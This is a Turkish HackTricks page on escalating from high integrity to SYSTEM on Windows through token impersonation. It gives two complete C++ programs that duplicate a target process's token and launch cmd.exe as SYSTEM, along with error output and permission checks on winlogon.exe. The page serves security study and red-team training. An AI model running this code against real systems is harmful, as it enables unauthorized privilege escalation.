hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
2024-02-10 18:14:16 +00:00

10 KiB
Raw Blame History

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın!

HackTricks'ı desteklemenin diğer yolları:

Kod

Aşağıdaki kod buradan alınmıştır. Bir İşlem Kimliği (PID) belirtebilirsiniz ve belirtilen işlemin kullanıcısı olarak çalışan bir CMD çalıştırılacaktır.
Yüksek bütünlükte çalışan bir işlemde, Sistem olarak çalışan bir işlemin PID'sini (örneğin winlogon, wininit) belirtebilir ve bir cmd.exe'yi sistem olarak çalıştırabilirsiniz.

impersonateuser.exe 1234

{% code title="impersonateuser.cpp" %}

#include <windows.h>

int main()
{
    HANDLE hToken;
    HANDLE hDupToken;
    DWORD dwSessionId = 0;
    DWORD dwProcessId = 0;
    HANDLE hProcess;
    HANDLE hThread;
    LPVOID lpEnvironment = NULL;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL bResult;

    // Get the current session ID
    dwSessionId = WTSGetActiveConsoleSessionId();

    // Get the current process ID
    dwProcessId = GetCurrentProcessId();

    // Get the process handle
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    // Get the primary token of the process
    bResult = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);

    // Enable the SeImpersonatePrivilege privilege
    bResult = LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bResult = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

    // Duplicate the token
    bResult = DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken);

    // Impersonate the token
    bResult = ImpersonateLoggedOnUser(hDupToken);

    // Create a new process with the impersonated token
    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    bResult = CreateProcessAsUser(hDupToken, NULL, "cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, lpEnvironment, NULL, &si, &pi);

    // Revert to the original token
    bResult = RevertToSelf();

    // Close the handles
    CloseHandle(hToken);
    CloseHandle(hDupToken);
    CloseHandle(hProcess);

    return 0;
}

{% endcode %}

// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}

{% endcode %}

Hata

Bazı durumlarda, Sistem'i taklit etmeye çalışabilirsiniz ancak aşağıdaki gibi bir çıktı alarak çalışmayabilir:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

Bu, Yüksek Bütünlük seviyesinde çalışıyor olsanız bile yeterli izinlere sahip olmadığınız anlamına gelir.
Şu anda svchost.exe işlemleri üzerindeki mevcut Yönetici izinlerini işlem gezgini ile kontrol edelim (veya process hacker'ı da kullanabilirsiniz):

  1. Bir svchost.exe işlemi seçin
  2. Sağ Tıkla --> Özellikler
  3. "Güvenlik" sekmesine girin ve sağ alt köşedeki "İzinler" düğmesine tıklayın
  4. "Gelişmiş"i tıklayın
  5. "Yöneticiler"i seçin ve "Düzenle"yi tıklayın
  6. "Gelişmiş izinleri göster"i tıklayın

Önceki görüntü, "Yöneticiler"in seçilen işlem üzerinde sahip olduğu tüm ayrıcalıkları içerir (svchost.exe için sadece "Sorgu" ayrıcalıklarına sahip olduklarını görebilirsiniz).

winlogon.exe üzerinde "Yöneticiler"in sahip olduğu ayrıcalıklara bakın:

Bu işlem içinde "Yöneticiler", muhtemelen bu işlem tarafından kullanılan belirteci taklit etmelerine izin veren "Belleği Oku" ve "İzinleri Oku" yetkilerine sahip olabilir.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: